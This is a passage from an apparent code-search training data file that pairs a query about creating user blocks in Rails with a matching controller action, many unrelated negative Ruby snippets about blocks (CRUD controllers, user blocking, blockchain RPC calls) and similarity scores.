"def show\n @block = @site.blocks.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @block }\n end\n end",
"def api_block_type_list\n arr = BlockType.where(\"parent_id is null and share = ?\", true).reorder(:name).all.collect do |bt|\n { 'name' => bt.name, 'description' => bt.description }\n end \n render :json => arr \n end",
"def index\n @schedule_blocks = ScheduleBlock.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @schedule_blocks }\n end\n end",
"def getblocknumber\n @api.request 'getblocknumber'\n end",
"def index\n @blockers = Blocker.where(cohort_id: @cohort.id)\n @blocker = Blocker.new\n @user_blocker = UserBlocker.new\n end",
"def unblock\n user = User.find(decode_jwt(cookies.signed[:jwt])[\"user_id\"])\n #we get friend_id from frontend\n if Block.where(blocker_id: user.id, blockee_id:follow_params[:user2]).empty?\n return render json: {error: \"No block found!\"}\n end\n\n Block.where(blocker_id: user.id, blockee_id:follow_params[:user2]).destroy_all\n # byebug\n return render json: {response: \"Friend unblocked\"}\n end",
"def get_blocks(options = {block_range: (0..0)}, &block)\n get_block_objects(options.merge(object: :block), block)\n end",
"def new\n @blocker = Blocker.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @blocker }\n end\n end",
"def update\n @block = @site.blocks.find(params[:id])\n\n respond_to do |format|\n params[:block].delete :user_id\n if @block.update_attributes(params[:block])\n flash[:notice] = 'Block was successfully updated.'\n format.html { redirect_to([@site, @block]) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @block.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def handle_getblocks\n @node.connections.sample.send_getblocks\n {:state => \"Sending getblocks...\"}\n end",
"def blocks\n @blocks ||= []\n end",
"def getblockcount\n @api.request 'getblockcount'\n end",
"def new\n @block = Block.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @block }\n end\n end",
"def index\n\t\tif params[:tag]\n\t\t\t@blocks = Block.tagged_with(params[:tag])\n\t\telse\n\t\t\t@blocks = Block.all\n\t\tend\n\tend",
"def blocks_height_get_with_http_info(height, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: TendermintRPCApi.blocks_height_get ...'\n end\n # verify the required parameter 'height' is set\n if @api_client.config.client_side_validation && height.nil?\n fail ArgumentError, \"Missing the required parameter 'height' when calling TendermintRPCApi.blocks_height_get\"\n end\n # resource path\n local_var_path = '/blocks/{height}'.sub('{' + 'height' + '}', height.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'BlockQuery')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: TendermintRPCApi#blocks_height_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def show\n @visit_block = VisitBlock.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @visit_block }\n end\n end",
"def blocks\n @blocks ||= []\n end",
"def index\n @post_blocks = PostBlock.all\n end",
"def get_blocked_item(product_id, item_number, block_id)\n self.client.get(\"products/#{product_id}/items/#{item_number}/blocking/#{block_id}\")\n end",
"def get_all_blocks\n\n @all_blocks = Block.where(is_published: 't')\n\n end",
"def blocked( params={} )\n blocked = get_connections(\"blocked\", params)\n return map_connections blocked, :to => Facebook::Graph::Blocke\n end",
"def enterprise_api_get_block_list(opts = {})\n data, status_code, headers = enterprise_api_get_block_list_with_http_info(opts)\n return data\n end",
"def getblock(hash, verbosity)\n rpc_call('getblock', hash, verbosity)\n end",
"def index\n @voting_blocks = VotingBlock.all\n end",
"def new\n\t\tif logged_in?\n\t @userblock = Userblock.new\n\t\t\trespond_to do |format|\n\t\t\t\tformat.html # new.html.erb\n\t\t\t\tformat.xml { render :xml => @userblock }\n\t\t\tend\n\t\telse\n\t\t\tflash[:notice] = \"you are not authorized to view this page\"\n\t\t\tredirect_to '/'\n\t\tend\n end",
"def block_number\n request('getblocknumber')\n end",
"def getblockhash(index)\n @api.request 'getblockhash', index\n end",
"def index\n @cp_blocks = Block.all\n @title = \"Блоки\"\n end",
"def getblock(hash)\n block = @api.request 'getblock', hash\n block[\"time\"] = Time.at(block[\"time\"]).utc if block.is_a? Hash\n block\n end",
"def index\n @block_types = BlockType.all\n end",
"def new\n @visit_block = VisitBlock.new\n @user = current_user\n @client_prices = current_user.client_prices\n @clients = current_user.account.clients\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @visit_block }\n end\n end",
"def get_block_with_data(x,y,z)\n response = @api.send_and_receive(\"world.getBlockWithData(#{x},#{y},#{z})\")\n response.split(',').map { |s| Block.find(s.to_i) }\n end",
"def getblockcount\n request :getblockcount\n end",
"def index\n @block_types = BlockTyp.all\n end",
"def new\n @twitter_block = TwitterBlock.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @twitter_block }\n end\n end",
"def block_count\n request('getblockcount')\n end",
"def create\n @blocker = user.blocker.new(blocker_params)\n @team = Team.find(session[:team_id])\n @users = Session.get_users(params[:user_ids].map{|i| i.to_i})\n @session.tag_list = get_user_first_names(@users)\n respond_to do |format|\n if @blocker.save\n format.html { redirect_to @blocker, notice: 'Blocker was successfully created.' }\n format.json { render :show, status: :created, location: @blocker }\n else\n format.html { render :new }\n format.json { render json: @blocker.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\t\t@block = Block.new(block_params)\n\n\t\trespond_to do |format|\n\t\t\tif @block.save\n\t\t\t\tformat.html { redirect_to @block, notice: 'El bloque fue creado correctamente.' }\n\t\t\t\tformat.json { render :show, status: :created, location: @block }\n\t\t\telse\n\t\t\t\tformat.html { render :new }\n\t\t\t\tformat.json { render json: @block.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def create\n @userblock = Userblock.new(params[:userblock])\n\n respond_to do |format|\n if @userblock.save\n flash[:notice] = 'Userblock was successfully created.'\n format.html { redirect_to(:controller => 'users', :action => 'show', :login => 'current_user.login') }\n format.xml { render :xml => @userblock, :status => :created, :location => @userblock }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @userblock.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def show\n @block_log = BlockLog.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @block_log }\n end\n end",
"def add_users_sub_blocks\n @users.each do |ip|\n if @owner.respond_to? ip\n next\n else\n @owner.sub_block ip\n end\n end\n end",
"def index\n @production_blocks = ProductionBlock.all\n end",
"def blocks\n @blocks ||= Array(@grpc.blocks).map do |b|\n Block.from_grpc b\n end\n end",
"def blocklists; end",
"def destroy\n @users_block.destroy\n respond_to do |format|\n format.html { redirect_to block_path, notice: 'Block was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def new\n @block = Block.new\n\t@conferences = Conference.all\n\t@tracks = Track.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @block }\n end\n end",
"def create\n @block = @site.blocks.build(params[:block])\n @block.user_id = current_user.id\n\n respond_to do |format|\n if @block.save\n flash[:notice] = 'Block was successfully created.'\n format.html { redirect_to(one_table_blocks_path(@one_table)) }\n format.xml { render :xml => @block, :status => :created, :location => @block }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @block.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def list\n @blocks = Block.find :all\n @categories = Category.find :all\n end",
"def index\n @time_blocks = TimeBlock.all\n end",
"def update\n\t\trespond_to do |format|\n\t\t\tif @block.update(block_params)\n\t\t\t\tformat.html { redirect_to @block, notice: 'El bloque fue actualizado correctamente.' }\n\t\t\t\tformat.json { render :show, status: :ok, location: @block }\n\t\t\telse\n\t\t\t\tformat.html { redirect_to @block, notice: @block.errors.full_messages.first}\n\t\t\t\tformat.json { render json: @block.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def blocks(blog_name, options = {})\n validate_options([:limit, :offset], options)\n get(blog_path(blog_name, 'blocks'), options)\n end",
"def on_getblocks(version, hashes, stop_hash)\n # remember the last few received getblocks messages and ignore duplicate ones\n # fixes unexplained issue where remote node is bombarding us with the same getblocks\n # message over and over (probably related to missing locator fallback handling)\n return if @last_getblocks && @last_getblocks.include?([version, hashes, stop_hash])\n @last_getblocks << [version, hashes, stop_hash]\n @last_getblocks.shift if @last_getblocks.size > 3\n\n blk = @node.store.db[:blk][hash: hashes[0].htb.blob]\n depth = blk[:depth] if blk\n log.info { \">> getblocks #{hashes[0]} (#{depth || 'unknown'})\" }\n\n return unless depth && depth <= @node.store.get_depth\n range = (depth+1..depth+500)\n blocks = @node.store.db[:blk].where(chain: 0, depth: range).order(:depth).select(:hash).all\n send_inv(:block, *blocks.map {|b| b[:hash].hth })\n end",
"def remote\n require 'blockspring'\n\n _, key = Blockspring::CLI::Auth.get_credentials\n\n block_id = @args[0]\n\n myBlock = lambda do |request, response|\n response = Blockspring.run(block_id, request.params, key)\n\n # TODO: don't autoparse the json in the library, I want the raw json\n puts response.to_json\n end\n\n Blockspring.define(myBlock)\n end",
"def create\n @block = Block.new(params[:block])\n\n respond_to do |format|\n if @block.save\n format.html { redirect_to @block, :notice => 'Block was successfully created.' }\n format.json { render :json => @block, :status => :created, :location => @block }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @block.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def domain_blocks(options = {})\n perform_request_with_collection(:get, '/api/v1/domain_blocks',\n options, String)\n end",
"def index\n @blocks = @subdivision.blocks\n @blocks = @blocks.map{|d| {id: d.id, name: d.name[@language]}}\n end"
] |
[
"0.7631785",
"0.7106992",
"0.70535165",
"0.7030853",
"0.69684577",
"0.6933396",
"0.69011587",
"0.6872988",
"0.68617296",
"0.6833513",
"0.6818587",
"0.6693042",
"0.664015",
"0.66317266",
"0.66317266",
"0.6624982",
"0.6579073",
"0.65446943",
"0.652411",
"0.6498027",
"0.64584744",
"0.64388514",
"0.6418335",
"0.6397607",
"0.63573205",
"0.6351641",
"0.63340604",
"0.6326038",
"0.6311167",
"0.62853396",
"0.62756205",
"0.6247914",
"0.62176865",
"0.6216879",
"0.6213067",
"0.61916286",
"0.61697066",
"0.61386704",
"0.61308926",
"0.61306155",
"0.6097433",
"0.6076969",
"0.60379183",
"0.60299665",
"0.6027785",
"0.60250837",
"0.60165936",
"0.60160094",
"0.6015679",
"0.6000057",
"0.5980487",
"0.59480566",
"0.5933245",
"0.59298676",
"0.59169096",
"0.5914489",
"0.59104156",
"0.5908194",
"0.59081274",
"0.5905467",
"0.5901291",
"0.588865",
"0.5879958",
"0.5867546",
"0.58439785",
"0.58430976",
"0.5833997",
"0.5833482",
"0.5808892",
"0.58039415",
"0.5802863",
"0.5802777",
"0.5800398",
"0.57765275",
"0.57491374",
"0.5749113",
"0.5746174",
"0.5744568",
"0.5743936",
"0.57431096",
"0.5726447",
"0.5717712",
"0.56887513",
"0.5685626",
"0.5680267",
"0.5665366",
"0.566463",
"0.5658396",
"0.56549704",
"0.5621615",
"0.56199086",
"0.5615533",
"0.5599744",
"0.5594413",
"0.55895644",
"0.5578374",
"0.55641603",
"0.5559664",
"0.5556979",
"0.5535588"
] |
0.7533225
|
1
|
POST /users/blocks POST /users/blocks.json
|
def create
@users_block = Block.new(blocked_id: params[:block][:blocked],
user_id: current_user.id)
@users = get_blockable_users
respond_to do |format|
if @users_block.save
format.html { redirect_to block_path, notice: 'Block was successfully created.' }
format.json { render :show, status: :created, location: @users_block }
else
format.html { render :new }
format.json { render json: @users_block.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def block(user)\n post \"blocks/create/#{user}\"\n end",
"def create\n @block = Block.new(block_params)\n\n if @block.save\n render json: @block, status: :created, location: @block\n else\n render json: @block.errors, status: :unprocessable_entity\n end\n end",
"def create\n @block = Block.new(params[:block])\n\n respond_to do |format|\n if @block.save\n format.html { redirect_to @block, :notice => 'Block was successfully created.' }\n format.json { render :json => @block, :status => :created, :location => @block }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @block.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @block = @site.blocks.build(params[:block])\n @block.user_id = current_user.id\n\n respond_to do |format|\n if @block.save\n flash[:notice] = 'Block was successfully created.'\n format.html { redirect_to(one_table_blocks_path(@one_table)) }\n format.xml { render :xml => @block, :status => :created, :location => @block }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @block.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n\t\t@block = Block.new(block_params)\n\n\t\trespond_to do |format|\n\t\t\tif @block.save\n\t\t\t\tformat.html { redirect_to @block, notice: 'El bloque fue creado correctamente.' }\n\t\t\t\tformat.json { render :show, status: :created, location: @block }\n\t\t\telse\n\t\t\t\tformat.html { render :new }\n\t\t\t\tformat.json { render json: @block.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def create\n @userblock = Userblock.new(params[:userblock])\n\n respond_to do |format|\n if @userblock.save\n flash[:notice] = 'Userblock was successfully created.'\n format.html { redirect_to(:controller => 'users', :action => 'show', :login => 'current_user.login') }\n format.xml { render :xml => @userblock, :status => :created, :location => @userblock }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @userblock.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @block = Block.new(block_params)\n\n respond_to do |format|\n if @block.save\n format.html { redirect_to @block, notice: 'Block was successfully created.' }\n format.json { render :show, status: :created, location: @block }\n else\n format.html { render :new }\n format.json { render json: @block.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post_block = PostBlock.new(post_block_params)\n # ставим блок в самый конец поста\n @post_block.weight = @post.blocks.size\n\n respond_to do |format|\n if @post_block.save\n format.html { redirect_to edit_cm_post_block_url(@post, @post_block), notice: 'Post block was successfully created.' }\n format.json { render action: 'show', status: :created, location: @post_block }\n else\n @errors = @post_block.errors\n abort @errors.to_s\n format.html { render action: 'new' }\n format.json { render json: @post_block.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @block = Block.new(block_params)\n\n respond_to do |format|\n if @block.save\n format.html { redirect_to @block, notice: 'Block was successfully created.' }\n format.json { render action: 'show', status: :created, location: @block }\n else\n format.html { render action: 'new' }\n format.json { render json: @block.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @twitter_block = TwitterBlock.new(params[:twitter_block])\n\n respond_to do |format|\n if @twitter_block.save\n format.html { redirect_to edit_admin_twitter_block_path(@twitter_block), :notice => t('twitter_blocks.successfully_created') }\n format.json { render :json => @twitter_block, :status => :created, :location => @twitter_block }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @twitter_block.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def block_user(user_id)\n post(\"/users/#{user_id}/block\")\n end",
"def create\n @block = Block.new(block_params)\n\n respond_to do |format|\n if @block.save\n format.html { redirect_back(fallback_location: root_path) }\n format.json { render :show, status: :created, location: @block }\n else\n format.html { render :show }\n format.json { render json: @block.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_block\n @user = User.current\n @user.pref.add_block params[:block]\n @user.pref.save\n redirect_to my_page_layout_path\n end",
"def create\n @block = Block.new(block_params)\n\n respond_to do |format|\n if @block.save\n format.html { render @block, notice: \"#{@block.id}\" }\n format.json { render action: 'show', status: :created, location: @block }\n else\n format.html { render action: 'new' }\n format.json { render json: @block.errors, status: :unprocessable_entity }\n end\n end\n end",
"def block_users\n request('/block/users', {body: {}})\n end",
"def create\n @block = Block.new(params[:block])\n\n respond_to do |format|\n if @block.save\n flash[:notice] = 'Block was successfully created.'\n format.html { redirect_to(@block) }\n format.xml { render :xml => @block, :status => :created, :location => @block }\n format.json { render :json => @block, :status => :created, :location => @block }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @block.errors, :status => :unprocessable_entity }\n format.json { render :json => @block.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def block_user(id)\n put(\"UserBlock/#{id}\")\n end",
"def create\n @blocker = user.blocker.new(blocker_params)\n @team = Team.find(session[:team_id])\n @users = Session.get_users(params[:user_ids].map{|i| i.to_i})\n @session.tag_list = get_user_first_names(@users)\n respond_to do |format|\n if @blocker.save\n format.html { redirect_to @blocker, notice: 'Blocker was successfully created.' }\n format.json { render :show, status: :created, location: @blocker }\n else\n format.html { render :new }\n format.json { render json: @blocker.errors, status: :unprocessable_entity }\n end\n end\n end",
"def block\n current_user.block_user(@user.id)\n render json: {ok: 1}\n end",
"def create\n @block = Block.new(params[:block])\n\t@conferences = Conference.all\n\t@tracks = Track.all\n\n respond_to do |format|\n if @block.save\n format.html { redirect_to @block, notice: 'Block was successfully created.' }\n format.json { render json: @block, status: :created, location: @block }\n else\n format.html { render action: \"new\" }\n format.json { render json: @block.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @block = Block.new(params[:block])\n\n respond_to do |format|\n if @block.save\n flash[:notice] = 'Block was successfully created.'\n format.html { redirect_to(@block) }\n format.xml { render :xml => @block, :status => :created, :location => @block }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @block.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @visit_block = VisitBlock.new(params[:visit_block])\n\n respond_to do |format|\n if @visit_block.save\n format.html { redirect_to visits_path, notice: 'Visit block was successfully created.' }\n format.json { render json: @visit_block, status: :created, location: @visit_block }\n else\n format.html { render action: \"new\" }\n format.json { render json: @visit_block.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @block_type = BlockType.new(block_type_params)\n\n respond_to do |format|\n if @block_type.save\n format.html { redirect_to @block_type, notice: 'Block typ was successfully created.' }\n format.json { render action: 'show', status: :created, location: @block_type }\n else\n format.html { render action: 'new' }\n format.json { render json: @block_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\t\t@block = Block.new(block_params)\n\n\t\tif @block.save\n\t\t\tredirect_to blocks_path\n\t\telse\n\t\t\trender 'new'\n\t\tend\n\n\tend",
"def create\n build_resource\n if resource.valid?\n if resource.blocked_user.present? && resource.blocked_user != current_user\n resource.save\n render json: resource, serializer: Api::V1::BlockSerializer\n else\n render json: [{error: 'Unable to block this user'}], status: :unprocessable_entity\n end\n else\n render json: resource.errors, status: :unprocessable_entity\n end\n end",
"def block_params\n params.require(:block).permit(:name, :left, :top, :width, :height, :space_id, :block_type, :parent_id, :is_floor, :max_head_cap, :footage, :equipment, :fee, :photo, :start_at, :end_at, :image, :intro, :user_id, :registration_id, :color, :unit_id)\n end",
"def update_blocks!\n RevisionRegister.new(page, user: author, blocks_attributes: page.blocks_attributes).save!\n\n assign_blocks\n page.save!\n end",
"def create\n @voting_block = VotingBlock.new(voting_block_params)\n\n respond_to do |format|\n if @voting_block.save\n format.html { redirect_to @voting_block, notice: 'Voting block was successfully created.' }\n format.json { render :show, status: :created, location: @voting_block }\n else\n format.html { render :new }\n format.json { render json: @voting_block.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cp_block = Block.new(cp_block_params)\n\n respond_to do |format|\n if @cp_block.save\n format.html { redirect_to cp_block_path(@cp_block), notice: 'Block was successfully created.' }\n format.json { render :show, status: :created, location: @cp_block }\n else\n format.html { render :new }\n format.json { render json: @cp_block.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @block = Block.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @block }\n end\n end",
"def create\n @block_type = BlockType.new(block_type_params)\n\n respond_to do |format|\n if @block_type.save\n format.html { redirect_to block_types_url, notice: 'Block type was successfully created.' }\n format.json { render action: 'show', status: :created, location: @block_type }\n else\n format.html { render action: 'new' }\n format.json { render json: @block_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @blocker = Blocker.new(params[:blocker])\n\n respond_to do |format|\n if @blocker.save\n format.html { redirect_to @blocker, notice: 'Blocker was successfully created.' }\n format.json { render json: @blocker, status: :created, location: @blocker }\n else\n format.html { render action: \"new\" }\n format.json { render json: @blocker.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n begin\n \t@block = User.find(params[:blocked][:blocked_id])\n\t\n\t\t@user.blocked.delete(@block)\n\t\trender json: @user, status: :accepted, location: @user\n\trescue => error\n\t\trender :json => error.message, status: :unprocessable_entity\n\tend\n end",
"def create\n @time_block = TimeBlock.new(time_block_params)\n\n respond_to do |format|\n if @time_block.save\n format.html { redirect_to @time_block, notice: 'Time block was successfully created.' }\n format.json { render :show, status: :created, location: @time_block }\n else\n format.html { render :new }\n format.json { render json: @time_block.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @block = Block.new(block_params)\n @block.status = Status::Active\n\n @block.manager.status = Status::Active\n @block.director.status = Status::Active \n @block.manager.role = Role::Project_Manager\n @block.director.role = Role::Project_Director\n\n respond_to do |format|\n if @block.save!\n format.html { redirect_to blocks_path, notice: 'Block was successfully created.' }\n\tformat.js { render :js => \"close_modal();refresh_page();\" }\n format.json { render action: 'show', status: :created, location: @block }\n else\n format.html { render action: 'new' }\n format.json { render json: @block.errors, status: :unprocessable_entity }\n \tformat.js\n end\n end\n end",
"def set_users_block\n @users_block = Block.find_by(id_params)\n end",
"def update\n @block = @site.blocks.find(params[:id])\n\n respond_to do |format|\n params[:block].delete :user_id\n if @block.update_attributes(params[:block])\n flash[:notice] = 'Block was successfully updated.'\n format.html { redirect_to([@site, @block]) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @block.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @content_block = ContentBlock.new(content_block_params)\n\n respond_to do |format|\n if @content_block.save\n format.html { redirect_to @content_block, notice: 'Content block was successfully created.' }\n format.json { render :show, status: :created, location: @content_block }\n else\n format.html { render :new }\n format.json { render json: @content_block.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @blocker = Blocker.new(blocker_params)\n\n respond_to do |format|\n if @blocker.save\n format.html { redirect_to @blocker, notice: 'Blocker was successfully created.' }\n format.json { render :show, status: :created, location: @blocker }\n else\n format.html { render :new }\n format.json { render json: @blocker.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @production_block = ProductionBlock.new(production_block_params)\n\n respond_to do |format|\n if @production_block.save\n format.html { redirect_to @production_block, notice: 'Production block was successfully created.' }\n format.json { render :show, status: :created, location: @production_block }\n else\n format.html { render :new }\n format.json { render json: @production_block.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n if !params.has_key?(:blocks)\n respond_to do |format|\n format.html { redirect_to blocks_path, flash: {:error => 'Select at least one time slot.' } }\n end\n else\n volunteer = Volunteer.new(volunteer_params)\n\n respond_to do |format|\n if volunteer.save\n blocks = params.require(:blocks)\n blocks.each do |block_id|\n day, time = block_id.split('_').map(&:to_i)\n b = Block.find_by day: day, start_time: time\n c = Confirmation.new(volunteer: volunteer, block: b, confirmed: false)\n c.save\n #volunteer.blocks << b\n end\n format.html { redirect_to blocks_path, notice: 'Thank you! Schedule was successfully submitted.' }\n else\n format.html { redirect_to blocks_path, flash: {:error => 'There was a problem submitting.' } }\n end\n end\n end\n end",
"def update\n\t\trespond_to do |format|\n\t\t\tif @block.update(block_params)\n\t\t\t\tformat.html { redirect_to @block, notice: 'El bloque fue actualizado correctamente.' }\n\t\t\t\tformat.json { render :show, status: :ok, location: @block }\n\t\t\telse\n\t\t\t\tformat.html { redirect_to @block, notice: @block.errors.full_messages.first}\n\t\t\t\tformat.json { render json: @block.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def block_params\n params.require(:block).permit(:row, :first_tree, :last_tree, :tree_number, :planting_date, :pullout_date, :collection_id, :accession_id)\n end",
"def write_blocks(nonce, start_block, block_count, data)\n # TODO: transactional integrity\n \n hmacs = (0...block_count).map do |i|\n load_data = @tree_driver.load_update_path start_block + i\n load_data[:ops] <<\n { :op => :update, :path => load_data[:path], :nonce => nonce,\n :data => data[i * block_size, block_size],\n :block => start_block + i, :session_id => @sid }\n add_tree_data_to_ops load_data[:ops]\n response = @fpga.perform_ops load_data[:ops]\n @tree_driver.perform_ops load_data[:ops]\n response.first\n end\n @disk.write_blocks start_block + @data_start, block_count, data\n { :hmacs => hmacs }\n end",
"def block_params\n\t\tparams.require(:block).permit(:fecha, :precio, :estado, :adjudicado, :residence_id, :adjudicadoid)\n\tend",
"def block_params\n params.require(:block).permit(:result_no, :generate_no, :block_no, :e_no)\n end",
"def destroy\n @users_block.destroy\n respond_to do |format|\n format.html { redirect_to block_path, notice: 'Block was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def change_blocks(block_json)\n\n #Removal of old blocks is rolled back on errors\n Article.transaction do\n blocks.destroy_all\n block_json.each do |block|\n create_block_from_sir_trevor(block)\n end\n end\n end",
"def destroy_block(user)\n delete \"blocks/destroy/#{user}\"\n end",
"def block_params\n params.require(:block).permit(:previous_block, :nonce, :prev_timestamp, :success)\n end",
"def block_params\n if(params[:block].present?)\n\t params.require(:block).permit(:name, :block_code, :district_id, :partner_id, manager_attributes: [:id, :user_id, :start_date, :end_date], director_attributes: [:id, :user_id, :start_date, :end_date])\n end\n end",
"def index\n @blocks = Block.all\n\n render json: @blocks\n end",
"def create\n @block_class = BlockClass.new(block_class_params)\n\n respond_to do |format|\n if @block_class.save\n format.html { redirect_to @block_class, notice: 'Block class was successfully created.' }\n format.json { render :show, status: :created, location: @block_class }\n else\n format.html { render :new }\n format.json { render json: @block_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @block = Block.new(params[:block])\n if @block.save\n redirect_to :controller=>\"blocks\",:action=>\"index\",:pageId=>params[:block][\"pageId\"]\n else\n render 'new'\n end\n end",
"def post_block_params\n permit_params\n end",
"def block_params\n params.require(:block).permit(:template_id, :firstres_id, :firstres_type, :secondres_id, :secondres_type)\n end",
"def index\n @users_blocks = Block.all.where(user_id: current_user.id)\n end",
"def new\n @blocker = Blocker.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @blocker }\n end\n end",
"def block( id, login=@login, password=@password, type='xml' )\n \n http = Net::HTTP.new('twitter.com', 80)\n data = http.start do |http_inst|\n path = \"/blocks/create/#{id}.#{type}\"\n req = Net::HTTP::Post.new(path)\n \n # we make an HTTP basic auth by passing the\n # username and password\n req.basic_auth login, password\n \n resp, data = http_inst.request(req)\n data\n end\n end",
"def index\n @blocks = Block.order(:block_name).all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @blocks }\n end\n end",
"def block_params\n params.require(:block).permit(:height, :native_id, :account, :payload_size_bytes, :total_amount_nqt, :total_fee_nqt, :total_pos_nqt)\n end",
"def new\n @block = Block.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @block }\n format.json { render :json => @block }\n end\n end",
"def block_params\n params.require(:block).permit(:date, :description)\n end",
"def create\n @building_block = BuildingBlock.new(building_block_params)\n\n respond_to do |format|\n if @building_block.save\n format.html { redirect_to @building_block, notice: 'Building block was successfully created.' }\n format.json { render :show, status: :created, location: @building_block }\n else\n format.html { render :new }\n format.json { render json: @building_block.errors, status: :unprocessable_entity }\n end\n end\n end",
"def block\n @user = current_user\n @friend = User.find(params[:friend_id])\n @user.block @friend\n\n l = Log.new\n l.user_id_1 = @user.id\n l.user_id_2 = @friend.id\n name_1 = if @user.name.nil? then @user.email.split('@')[0] else @user.name end\n name_2 = if @friend.name.nil? then @friend.email.split('@')[0] else @friend.name end\n l.message = \"#{name_1.humanize} blocked #{name_2.humanize}\"\n l.loggingtype = 0\n l.save\n flash[:block_success] = \"#{name_2.humanize} was blocked successfully $green\" \n \n @user.rank = @user.rank - 4\n @user.save\n @friend.rank = @friend.rank - 9\n @friend.save\n\n redirect_to action: 'pending'\n end",
"def create_blocked\n end",
"def new\n @block = @site.blocks.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @block }\n end\n end",
"def blocks\n object.blocks.map{ |x|\n ShallowBlockSerializer.new(x)\n }\n end",
"def new\n @twitter_block = TwitterBlock.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @twitter_block }\n end\n end",
"def create\n @block_list_server = BlockListServer.new(params[:block_list_server])\n\n respond_to do |format|\n if @block_list_server.save\n format.html { redirect_to @block_list_server, notice: 'Block list server was successfully created.' }\n format.json { render json: @block_list_server, status: :created, location: @block_list_server }\n else\n format.html { render action: \"new\" }\n format.json { render json: @block_list_server.errors, status: :unprocessable_entity }\n end\n end\n end",
